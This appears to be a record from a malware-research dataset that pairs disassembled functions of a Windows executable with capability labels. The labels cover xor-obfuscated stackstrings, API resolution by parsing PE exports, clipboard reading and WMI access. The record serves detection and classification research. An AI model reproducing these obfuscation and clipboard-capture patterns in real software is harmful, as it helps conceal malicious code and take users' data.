joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406e30
Capabilities:
Compute adler32 checksum
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x20
mov edi, dword [esp + 0x38]
test edi, edi
je 0x407013
mov ebp, dword [esp + 0x3c]
mov esi, dword [esp + 0x34]
movzx ebx, si
shr esi, 0x10
test ebp, ebp
je 0x40701a
mov dword [esp], edi
mov ecx, 0x5e6ea9af
mov eax, ebp
mul ecx
shr edx, 0xb
imul eax, edx, 0x15b0
mov ecx, ebp
sub ecx, eax
mov eax, ebx
jmp 0x406ec5
mov ecx, dword [esp + 8]
mov edx, ecx
sub edx, dword [esp + 4]
add dword [esp], edx
mov ebp, eax
mov edi, 0x80078071
mul edi
mov ebx, edx
shr ebx, 0xf
mov eax, esi
mul edi
mov eax, ebp
imul edi, ebx, 0xfff1
sub eax, edi
shr edx, 0xf
imul edx, edx, 0xfff1
sub esi, edx
mov ebp, dword [esp + 0xc]
sub ebp, ecx
mov ecx, 0x15b0
je 0x40701c
xor edi, edi
cmp ecx, 8
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ebp
jb 0x406f90
and ecx, 0x1ff8
mov dword [esp + 4], ecx
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0x18], esi
mov edx, edi
mov edi, dword [esp]
movzx ebx, byte [edi + edx]
add ebx, eax
movzx eax, byte [edi + edx + 1]
add eax, ebx
mov dword [esp + 0x1c], eax
movzx ebp, byte [edi + edx + 2]
add ebp, eax
movzx esi, byte [edi + edx + 3]
mov eax, ebp
xor eax, esi
and esi, ebp
lea ecx, [eax + esi*2]
mov dword [esp + 0x14], ecx
movzx eax, byte [edi + edx + 4]
add eax, ecx
mov dword [esp + 0x10], eax
movzx esi, byte [edi + edx + 5]
add esi, eax
movzx ecx, byte [edi + edx + 6]
add ecx, esi
movzx eax, byte [edi + edx + 7]
mov edi, ecx
xor edi, eax
and eax, ecx
lea eax, [edi + eax*2]
add ebx, dword [esp + 0x18]
add ebx, dword [esp + 0x1c]
add ebx, ebp
add ebx, dword [esp + 0x14]
add ebx, dword [esp + 0x10]
add ebx, esi
add ebx, ecx
mov ecx, dword [esp + 8]
lea edi, [edx + 8]
mov esi, ebx
add esi, eax
add edx, 0xf
cmp edx, ecx
jb 0x406ef0
mov edx, dword [esp]
add edx, edi
mov edi, dword [esp + 4]
jmp 0x406f93
mov edx, dword [esp]
mov ebx, edi
sub ebx, ecx
mov dword [esp], edx
jae 0x406e8d
mov ebp, ecx
and ebp, 3
mov dword [esp + 4], edi
je 0x406fc7
neg ebp
xor ecx, ecx
nop
mov edi, esi
movzx esi, byte [edx]
inc edx
add eax, esi
mov esi, edi
add esi, eax
dec ecx
cmp ebp, ecx
jne 0x406fb0
mov edi, dword [esp + 4]
sub edi, ecx
cmp ebx, 0xfffffffc
ja 0x406e80
mov ebx, dword [esp + 8]
sub ebx, edi
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [edx + ebp]
add ecx, eax
add esi, ecx
mov edi, esi
movzx esi, byte [edx + ebp + 1]
add esi, ecx
add edi, esi
movzx ecx, byte [edx + ebp + 2]
add ecx, esi
mov esi, edi
add esi, ecx
movzx eax, byte [edx + ebp + 3]
add eax, ecx
add esi, eax
add ebp, 4
cmp ebx, ebp
jne 0x406fe0
jmp 0x406e80
mov esi, 1
jmp 0x407021
mov eax, ebx
shl esi, 0x10
or esi, eax
mov eax, esi
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x407030
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
push esi
mov ecx, dword [esp + 0x14]
test ecx, ecx
je 0x40705e
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
test ebx, ebx
je 0x4070fc
not eax
test bl, 1
jne 0x407065
mov edx, ebx
cmp ebx, 1
jne 0x407096
jmp 0x4070fa
xor eax, eax
jmp 0x4070fc
lea edx, [ebx - 1]
movzx esi, byte [ecx]
mov edi, eax
shr edi, 4
xor eax, esi
and eax, 0xf
xor edi, dword [eax*4 + 0x445c50]
inc ecx
mov eax, edi
shr eax, 4
shr esi, 4
and edi, 0xf
xor edi, esi
xor eax, dword [edi*4 + 0x445c50]
cmp ebx, 1
je 0x4070fa
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [ecx + esi]
mov edi, eax
shr edi, 4
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x445c50]
mov eax, edi
shr eax, 4
shr ebx, 4
and edi, 0xf
xor edi, ebx
xor eax, dword [edi*4 + 0x445c50]
movzx ebx, byte [ecx + esi + 1]
mov edi, eax
shr edi, 4
xor eax, ebx
and eax, 0xf
xor edi, dword [eax*4 + 0x445c50]
mov eax, edi
shr eax, 4
shr ebx, 4
and edi, 0xf
xor edi, ebx
xor eax, dword [edi*4 + 0x445c50]
add esi, 2
cmp edx, esi
jne 0x4070a0
not eax
pop esi
pop edi
pop ebx
ret
Function at 0x40dbc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x5c
mov edx, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x18], ecx
mov eax, dword [ecx + 0x60]
mov dword [esp + 0x14], eax
mov word [esp], 0x1715
mov byte [esp + 2], 0xe
mov word [esp + 3], 0
mov ebx, esp
mov ebp, 0x7d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebx]
lea edi, [ebp - 0x6c70d700]
or edi, ecx
and ecx, ebp
not edi
or edi, ecx
mov ecx, edi
and ecx, 0x75
add ecx, ecx
mov eax, edi
or eax, 0x8a
not edi
or edi, 0x75
and edi, eax
sub ecx, edi
mov byte [ebx], cl
inc ebx
dec ebp
cmp ebp, 0x78
jne 0x40dc00
mov dword [esp + 8], 0x8a8488a2
mov word [esp + 0xc], 0xbf86
mov dword [esp + 0xe], 0
mov byte [esp + 0x12], 0
mov ebx, 0x1f
mov ebp, 0xe0
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ebx - 0x17]
mov ecx, ebp
xor ecx, ebx
and ecx, eax
xor ecx, ebx
add cl, 0x65
mov byte [esp + ebx - 0x17], cl
inc ebx
dec ebp
cmp ebx, 0x2a
jne 0x40dc60
mov dword [esp + 0x1c], 0x5a585c5d
mov dword [esp + 0x20], 0x5e5e686c
mov dword [esp + 0x24], 0x532e586d
mov dword [esp + 0x28], 0x5653522f
mov dword [esp + 0x2c], 0x764b2726
mov dword [esp + 0x30], 0x306d9391
mov dword [esp + 0x34], 0x3d433d32
mov dword [esp + 0x38], 0x42667830
mov dword [esp + 0x3c], 0xc8c53937
mov dword [esp + 0x40], 0xc0bbc9bd
mov dword [esp + 0x44], 0xb57e97c2
mov dword [esp + 0x48], 0x8ecfc3cf
mov dword [esp + 0x4c], 0xa6dab8b4
mov dword [esp + 0x50], 0xa2d06583
mov dword [esp + 0x54], 0x618bacd5
mov byte [esp + 0x58], 0x4c
mov word [esp + 0x59], 0
mov byte [esp + 0x5b], 0
lea ebx, [esp + 0x1c]
mov ebp, 0xa1
nop
nop
nop
movzx eax, byte [ebx]
mov edi, eax
not edi
mov ecx, edi
or ecx, 0xbc
and edi, 0x43
add ecx, eax
inc ecx
or ecx, edi
xor ecx, ebp
xor cl, 0xbc
add cl, 0x2a
mov byte [ebx], cl
inc ebx
dec ebp
cmp ebp, 0x61
jne 0x40dd10
mov eax, dword [esp + 0x70]
add eax, dword [esp + 0x14]
movzx ebx, byte [esp + 0x1c]
mov edi, eax
test bl, bl
je 0x40dd6b
lea ecx, [esp + 0x1d]
mov edi, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [ecx]
inc ecx
test bl, bl
jne 0x40dd60
mov byte [edi], 0
movzx ebx, byte [esi]
test bl, bl
je 0x40dd8b
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x40dd80
mov byte [edi], 0
movzx ecx, byte [esp + 8]
test cl, cl
je 0x40ddab
lea esi, [esp + 9]
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [esi]
inc esi
test cl, cl
jne 0x40dda0
mov byte [edi], 0
movzx ebx, byte [edx]
test bl, bl
je 0x40ddcb
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edi], bl
inc edi
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x40ddc0
mov byte [edi], 0
movzx ecx, byte [esp]
test cl, cl
je 0x40ddeb
lea edx, [esp + 1]
nop
nop
nop
nop
nop
nop
mov byte [edi], cl
inc edi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x40dde0
mov byte [edi], 0
sub edi, eax
mov eax, dword [esp + 0x18]
add dword [eax + 0x60], edi
add esp, 0x5c
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x410ea0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x234
mov ebp, dword [esp + 0x248]
mov dword [esp + 0x34], 0x93659145
mov dword [esp + 0x38], 0xaf57ad26
mov dword [esp + 0x3c], 0xab5ea95c
mov dword [esp + 0x40], 0xa791a545
mov dword [esp + 0x44], 0xa394a16d
mov dword [esp + 0x48], 0xbf9ebd8c
mov dword [esp + 0x4c], 0xbb55b980
mov dword [esp + 0x50], 0xb740b54d
mov dword [esp + 0x54], 0xb345b14c
mov dword [esp + 0x58], 0x4fbd4dc3
mov dword [esp + 0x5c], 0x4b9c4968
mov dword [esp + 0x60], 0x476645a8
mov dword [esp + 0x64], 0x43724171
mov dword [esp + 0x68], 0x5f6e5d6a
mov dword [esp + 0x6c], 0x5b7a5993
mov dword [esp + 0x70], 0x57af55bb
mov dword [esp + 0x74], 0x539c51a6
mov dword [esp + 0x78], 0x6fa56da0
mov dword [esp + 0x7c], 0x6be26948
mov dword [esp + 0x80], 0x67aa65aa
mov dword [esp + 0x84], 0x63426159
mov dword [esp + 0x88], 0x7f8e7dbd
mov dword [esp + 0x8c], 0x7b8e7988
mov dword [esp + 0x90], 0x77997589
mov dword [esp + 0x94], 0x7390718d
mov dword [esp + 0x98], 0xff70dd7
mov dword [esp + 0x9c], 0xb3d0984
mov dword [esp + 0xa0], 0x73505c9
mov dword [esp + 0xa4], 0x33401cf
mov dword [esp + 0xa8], 0x1fd01d2f
mov dword [esp + 0xac], 0x1b221938
mov dword [esp + 0xb0], 0x17ce15cf
mov dword [esp + 0xb4], 0x13c711fc
mov dword [esp + 0xb8], 0x2f1a2df8
mov dword [esp + 0xbc], 0x2bde2908
mov dword [esp + 0xc0], 0x27dd25dd
mov dword [esp + 0xc4], 0x230221dd
mov dword [esp + 0xc8], 0x3fc33de3
mov dword [esp + 0xcc], 0x3bc139db
mov dword [esp + 0xd0], 0x370f35c3
mov dword [esp + 0xd4], 0x33f13110
mov dword [esp + 0xd8], 0xcf3ccd34
mov dword [esp + 0xdc], 0xcb3fc93f
mov dword [esp + 0xe0], 0xc7f1c539
mov dword [esp + 0xe4], 0xc3f3c1f1
mov dword [esp + 0xe8], 0xdfe8dd15
mov dword [esp + 0xec], 0xdbecd9e8
mov dword [esp + 0xf0], 0xd7e0d5e4
mov dword [esp + 0xf4], 0xd3f2d1e0
mov dword [esp + 0xf8], 0xef0fed3f
mov dword [esp + 0xfc], 0xeb0be916
mov dword [esp + 0x100], 0xe71fe516
mov dword [esp + 0x104], 0xe32fe1d7
mov dword [esp + 0x108], 0xff31fdcf
mov dword [esp + 0x10c], 0xfbc9f9ce
mov dword [esp + 0x110], 0xf7f6f53a
mov dword [esp + 0x114], 0
mov eax, dword [0x44e690]
mov ecx, 0x11664f5c
mov edx, 0xee99b170
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x11664f28]
mov esi, ecx
and esi, ebx
add esi, esi
mov edi, ebx
sub edi, esi
add edi, ecx
not edi
and edi, 1
sub esi, ebx
add esi, edx
and esi, 0xfe
or esi, edi
not esi
lea ebx, [esi + edi*2]
mov byte [esp + ecx - 0x11664f28], bl
inc ecx
dec edx
cmp ecx, 0x11665040
jne 0x411100
lea ecx, [esp + 0x34]
push 0
push 0
push 0
push 0
push ecx
call eax
mov esi, eax
xor eax, eax
test esi, esi
setne al
mov eax, dword [eax*4 + 0x44928c]
mov ecx, 0xae38364d
xor ecx, dword [0x449294]
add eax, ecx
inc eax
jmp eax

Function at 0x411730
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0xcb0
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
shr eax, 0x1f
jmp dword [eax*4 + 0x449a54]
Function at 0x41dae0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x10b8
call fcn.0040cc30
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov esi, 0xfffffffe
nop
nop
cmp word [eax + esi + 2], 0
lea esi, [esi + 2]
jne 0x41db00
sar esi, 1
lea ecx, [esp + 0x28]
push ecx
push 0
push 0
push esi
push eax
push 0
call dword [0x44f9d4]
mov ebx, dword [esp + 0x28]
mov edi, 0xffffffff
test ebx, ebx
jns 0x41db34
mov eax, 0xffffffff
jmp 0x41db37
lea eax, [ebx + ebx]
push eax
call fcn.0040ccd0
add esp, 4
lea ecx, [esp + 0x28]
push ecx
push ebx
mov dword [esp + 0x28], eax
push eax
push esi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x44f9d4]
mov eax, dword [esp + 0x28]
mov ecx, eax
and ecx, 0xd
xor eax, 0xd
lea eax, [eax + ecx*2]
test eax, eax
js 0x41db71
add eax, eax
mov edi, eax
push edi
call fcn.0040ccd0
add esp, 4
mov edi, eax
mov dword [esp + 0xb4], 0x91229f30
mov dword [esp + 0xb8], 0x95079333
mov dword [esp + 0xbc], 0x89769700
mov dword [esp + 0xc0], 0x8d2d8b3e
mov dword [esp + 0xc4], 0x811b8f1e
mov dword [esp + 0xc8], 0x8513831b
mov dword [esp + 0xcc], 0x7986871a
mov dword [esp + 0xd0], 0
lea eax, [esp + 0xb4]
mov ecx, 0x76da7a1a
movzx edx, byte [eax]
mov esi, ecx
or esi, edx
lea ebx, [ecx - 0x76da7a00]
xor ebx, ecx
add ebx, ecx
and ebx, edx
lea edx, [esi + esi]
not edx
add edx, esi
or edx, ebx
mov ebx, edx
or ebx, 0x86
add ebx, edx
not edx
or edx, 0x86
add ebx, edx
add bl, 2
mov byte [eax], bl
inc eax
dec ecx
cmp ecx, 0x76da79fa
jne 0x41dbe0
mov eax, dword [esp + 0x20]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x41dc51
mov eax, dword [esp + 0x20]
lea edx, [eax + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41dc40
mov word [eax], 0
movzx ecx, word [esp + 0xb4]
test cx, cx
je 0x41dc81
lea edx, [esp + 0xb6]
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41dc70
mov word [eax], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00443510
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44a98c]
Function at 0x42ab50
Capabilities:
Encode data using xor

Disassembly:
push dword [esp + 4]
call fcn.0042ab70
add esp, 4
test al, al
je 0x42b260
mov al, 1
ret
push ebp
push ebx
push edi
push esi
sub esp, 0xb4
mov dword [esp + 0x94], 0x33a43189
mov dword [esp + 0x98], 0x2fa22dbf
mov dword [esp + 0x9c], 0x2bbe2989
mov dword [esp + 0xa0], 0x279625b0
mov dword [esp + 0xa4], 0x23ae2181
mov dword [esp + 0xa8], 0x1f1e1d84
mov word [esp + 0xac], 0
mov eax, 0xa2fd84c
mov ecx, 0x1d027b3
movzx esi, byte [esp + eax - 0xa2fd7b8]
mov edx, esi
not edx
or edx, 0xfe909816
add edx, esi
inc edx
and esi, 0xffffffe9
mov edi, esi
xor edi, 0xe9
xor esi, 0x16f67e9
or esi, edi
or edx, esi
mov esi, ecx
and esi, 0x14027a9
mov edi, eax
and edi, 0xa009816
or edi, esi
xor edi, edx
lea edx, [edi - 0x32ef397d]
mov esi, edx
and esi, 1
mov ebx, 0x7c
sub ebx, edi
and ebx, 0x4c
and edx, 0xb3
or edx, ebx
xor edx, 0x4d
lea edx, [edx + esi*2]
mov byte [esp + eax - 0xa2fd7b8], dl
inc eax
dec ecx
cmp eax, 0xa2fd866
jne 0x42b2c0
mov dword [esp + 0x1c], 0x79cc7ba8
mov dword [esp + 0x20], 0x7dc77fc3
mov dword [esp + 0x24], 0x71c773c3
mov dword [esp + 0x28], 0x75c077c4
mov dword [esp + 0x2c], 0x69c66bdb
mov dword [esp + 0x30], 0x6d296fdb
mov dword [esp + 0x34], 0x61da6329
mov dword [esp + 0x38], 0x65d467df
mov dword [esp + 0x3c], 0x59f65bdf
mov dword [esp + 0x40], 0x5def5fed
mov dword [esp + 0x44], 0x51e653e6
mov dword [esp + 0x48], 0x551157f9
mov dword [esp + 0x4c], 0x49f14be2
mov dword [esp + 0x50], 0x4de44fe4
mov dword [esp + 0x54], 0x41de43eb
mov dword [esp + 0x58], 0x45dd47ca
mov dword [esp + 0x5c], 0xb90fbbe8
mov dword [esp + 0x60], 0xbd25bf2c
mov dword [esp + 0x64], 0xb121b31b
mov word [esp + 0x68], 0xb7b0
mov dword [esp + 0x6a], 0
mov eax, 0xb1bf433f
nop
nop
nop
movzx ecx, byte [esp + eax + 0x4e40bcdd]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
and edx, 0x44
xor ecx, 0xc4
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax + 0x4e40bcdd], cl
inc eax
cmp eax, 0xb1bf4391
jne 0x42b3e0
lea eax, [esp + 0x94]
lea edi, [esp + 0x1c]
push eax
push edi
call fcn.0043a910
add esp, 8
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44bcd0]
Function at 0x42ab70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x78
mov esi, esp
push eax
sub esp, 8
mov ebx, esp
sub esp, 0x30
mov edi, esp
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x3c], eax
mov dword [esi + 0x1c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x58], eax
mov esp, eax
push eax
push eax
mov dword [esi + 0x2c], esp
sub esp, 0x24
mov dword [esi + 0x54], esp
mov dword [esi + 0x50], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x5c], 0xf76a0997
mov dword [esi + 0x60], 0xf353f559
mov dword [esi + 0x64], 0xff2cf165
mov dword [esi + 0x68], 0xfb62fd51
mov dword [esi + 0x6c], 0xe7e6f955
mov eax, 0x1ea25c07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x1ea25bab]
lea edx, [eax - 0x1ea25b09]
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
xor edx, 0x4337ea7b
and ecx, 0x3cc81584
add ecx, ecx
sub ecx, edx
inc ecx
mov edx, ecx
and edx, 0x7b
xor ecx, 0x7b
lea ecx, [ecx + edx*2]
mov byte [esi + eax - 0x1ea25bab], cl
inc eax
cmp eax, 0x1ea25c1b
jne 0x42ac00
lea eax, [esi + 0x5c]
lea ecx, [esi + 0x44]
push eax
call fcn.0043d940
shr eax, 0x1f
xor ecx, ecx
jmp dword [eax*4 + 0x44bc38]
Function at 0x4354c0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
push eax
mov esi, esp
xor eax, eax
sub esp, 4
mov dword [esp], 0
call dword [sym.imp.USER32.dll_OpenClipboard]
jmp 0x4354e0
jmp 0x4354e2
cmp eax, 0
setne al
jmp 0x4354ea
xor ebx, ebx
test al, 1
jne 0x4354f5
jmp 0x435608
xor eax, eax
sub esp, 8
mov dword [esp], 0
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_GetWindowLongW]
sub esp, 4
mov dword [esp], 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, eax
cmp edi, 0
setne al
xor ebx, ebx
test al, 1
jne 0x435532
jmp 0x435602
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
sub esp, 4
mov dword [ebp - 0x28], eax
mov dword [esp], eax
call fcn.0041d280
add esp, 4
xor ebx, ebx
cmp eax, 0
je 0x4355f4
mov cl, byte [esi]
mov byte [ebp - 0x10], cl
mov byte [ebp - 0x24], 0x87
mov byte [ebp - 0x23], 0xbd
mov byte [ebp - 0x22], 0xbf
mov byte [ebp - 0x21], 0xa7
mov byte [ebp - 0x20], 0xba
mov byte [ebp - 0x1f], 0xa6
mov byte [ebp - 0x1e], 0xb3
mov byte [ebp - 0x1d], 0xad
mov byte [ebp - 0x1c], 0xbc
mov byte [ebp - 0x1b], 0xe3
mov byte [ebp - 0x1a], 0xa2
mov byte [ebp - 0x19], 0xa7
mov byte [ebp - 0x18], 0xa0
mov byte [ebp - 0x17], 0xdd
mov ecx, 0xe
mov byte [ebp + ecx - 0x24], 0
add ecx, 1
cmp ecx, 0x13
jne 0x43559c
xor ecx, ecx
cmp ecx, 0x13
jae 0x4355d3
movzx esi, byte [ebp + ecx - 0x24]
mov edx, ecx
add edx, 0x43126b4e
mov ebx, edx
and ebx, esi
shl ebx, 1
add edx, esi
sub edx, ebx
add dl, 0x7a
mov byte [ebp + ecx - 0x24], dl
add ecx, 1
jmp 0x4355ab
lea edx, [ebp - 0x24]
sub esp, 0xc
mov ecx, dword [ebp + 8]
mov dword [esp], edx
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call fcn.0040db40
mov bl, al
and bl, 1
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x435602
call dword [sym.imp.USER32.dll_CloseClipboard]
and bl, 1
movzx eax, bl
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x439c00
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [esp + 0x28]
xor edx, edx
nop
nop
nop
cmp word [eax + edx], 0
lea edx, [edx + 2]
jne 0x439c10
mov dword [esp + 4], eax
lea eax, [edx - 2]
mov dword [esp], eax
mov dword [esp + 8], 0xb6b68837
mov word [esp + 0xc], 0
mov ecx, 0xde
mov ebx, 0x21
nop
nop
nop
movzx ebp, byte [esp + ecx - 0xd6]
mov eax, ebp
not eax
and eax, 0x28
mov edi, ebp
xor edi, 0xb4eb8e28
or ebp, 0xd7
and ebp, edi
mov edi, ebx
and edi, 0x28
mov esi, ecx
and esi, 0xd7
or esi, edi
add eax, ebp
and ebp, 0x28
sub eax, ebp
xor eax, esi
add al, 0xaa
mov byte [esp + ecx - 0xd6], al
inc ecx
dec ebx
cmp ecx, 0xe4
jne 0x439c40
cmp edx, 2
je 0x439cb0
mov ebx, dword [esp + 8]
mov ecx, dword [esp]
mov eax, ecx
sar eax, 1
mov edi, ebx
not edi
test cl, 2
jne 0x439cb9
mov ebp, ebx
mov esi, edi
mov dword [esp], eax
mov ecx, dword [esp + 0x2c]
jmp 0x439ced
mov eax, dword [esp + 0x2c]
jmp 0x439d5f
dec eax
mov dword [esp], eax
mov ecx, dword [esp + 0x28]
movzx eax, word [ecx]
add ecx, 2
mov dword [esp + 4], ecx
xor eax, dword [esp + 0x2c]
mov ecx, eax
mov esi, edi
and ecx, edi
mov edi, eax
not edi
and edi, ebx
imul edi, ecx
mov ecx, eax
and ecx, ebx
mov ebp, ebx
or eax, ebx
imul eax, ecx
add eax, edi
mov ecx, eax
mov dword [esp + 0x10], esi
cmp edx, 4
mov edi, dword [esp + 4]
mov ebx, dword [esp]
je 0x439d5f
mov esi, ebp
xor edx, edx
mov eax, ecx
mov dword [esp], ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ebp, edi
movzx edi, word [edi + edx*2]
xor edi, eax
mov eax, edi
mov ebx, dword [esp + 0x10]
and eax, ebx
mov ecx, edi
not ecx
and ecx, esi
imul ecx, eax
mov eax, edi
and eax, esi
or edi, esi
imul edi, eax
add edi, ecx
movzx eax, word [ebp + edx*2 + 2]
xor eax, edi
mov ecx, eax
and ecx, ebx
mov edi, eax
not edi
and edi, esi
imul edi, ecx
mov ecx, eax
and ecx, esi
or eax, esi
imul eax, ecx
add eax, edi
mov edi, ebp
mov ebx, dword [esp]
add edx, 2
cmp ebx, edx
jne 0x439d10
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x439f70
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x78
mov esi, esp
push eax
sub esp, 0x34
mov dword [esi + 8], esp
push eax
mov dword [esi + 0x44], esp
push eax
mov dword [esi + 0x1c], esp
push eax
mov dword [esi + 0x5c], esp
sub esp, 0x10
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x18], eax
mov esp, eax
push eax
sub esp, 0x1c
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x20], esp
mov eax, dword [0x44f9d4]
mov dword [esi + 0x10], eax
mov dword [esi + 0x28], 0x77c90965
mov dword [esi + 0x2c], 0x73ed75ed
mov dword [esi + 0x30], 0x7fd371ec
mov dword [esi + 0x34], 0x7b367de9
mov dword [esi + 0x38], 0x67cf79e6
mov dword [esi + 0x3c], 0x63cf65fe
mov dword [esi + 0x40], 0x6f6e610d
mov ebx, 0x8dee74c2
mov eax, 0x72118b3d
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x72118b15]
mov dword [esi + 0xc], ecx
lea edi, [eax - 0x72118aff]
and edi, ecx
mov edx, edi
and edx, 0x7d
mov ecx, edi
and ecx, 2
or edi, 2
imul edi, ecx
xor ecx, 2
imul ecx, edx
add edi, ecx
mov edx, eax
sub edx, edi
lea ecx, [ebx + edi]
mov edi, dword [esi + 0xc]
xor ecx, edi
and edx, edi
add edx, edx
sub edx, ecx
mov ecx, edx
and ecx, 0xc5a847c9
xor edx, 0xc5a847c9
lea ecx, [edx + ecx*2]
add edx, edx
and edx, 2
mov edi, ecx
and edi, edx
or edx, ecx
xor edx, 1
add edx, edi
mov byte [esi + eax - 0x72118b15], dl
dec ebx
inc eax
cmp ebx, 0x8dee74a6
jne 0x439ff0
lea eax, [esi + 0x48]
lea edi, [esi + 0x60]
lea ecx, [esi + 0x28]
push eax
push 8
push edi
push 0xd
push ecx
push 0
call dword [esi + 0x10]
shr eax, 0x1f
jmp dword [eax*4 + 0x44d1d8]
Function at 0x43d7a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x232221f0
mov word [esp + 4], 0
mov byte [esp + 6], 0
mov ecx, 0x1b955978
mov edx, 0xe46aa687
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x1b955978]
mov edi, ecx
and edi, esi
add edi, edi
mov ebx, esi
sub ebx, edi
sub edi, esi
add edi, edx
and edi, ecx
add ebx, ecx
or ebx, edx
not ebx
or ebx, edi
mov edi, ebx
and edi, 2
mov ebp, ebx
or ebx, 2
imul ebx, edi
xor edi, 2
and ebp, 0x1b95597d
imul ebp, edi
add ebx, ebp
mov edi, ebx
not edi
and edi, ecx
and ebx, edx
sub ebx, edi
mov edi, ebx
xor edi, esi
not ebx
and ebx, esi
add ebx, ebx
sub ebx, edi
mov edi, ebx
xor edi, 0x89eabf58
mov esi, ebx
or esi, 0x761540a7
and esi, edi
mov edi, esi
and edi, 0xfd
mov ebp, ebx
and ebp, 2
or esi, 2
imul esi, ebp
xor ebp, 2
imul ebp, edi
xor ebx, 0xa7
add ebx, ebp
add ebx, esi
inc bl
mov byte [esp + ecx - 0x1b955978], bl
inc ecx
dec edx
cmp ecx, 0x1b95597f
jne 0x43d7d0
mov ecx, dword [esp]
mov ecx, dword fs:[ecx]
push eax
push 0
push dword [ecx + 0x18]
call dword [0x4579f4]
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x43d890
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
xor ecx, ecx
cmp dword [esp + 0x1c], 0
setne cl
jmp dword [ecx*4 + 0x44d6f0]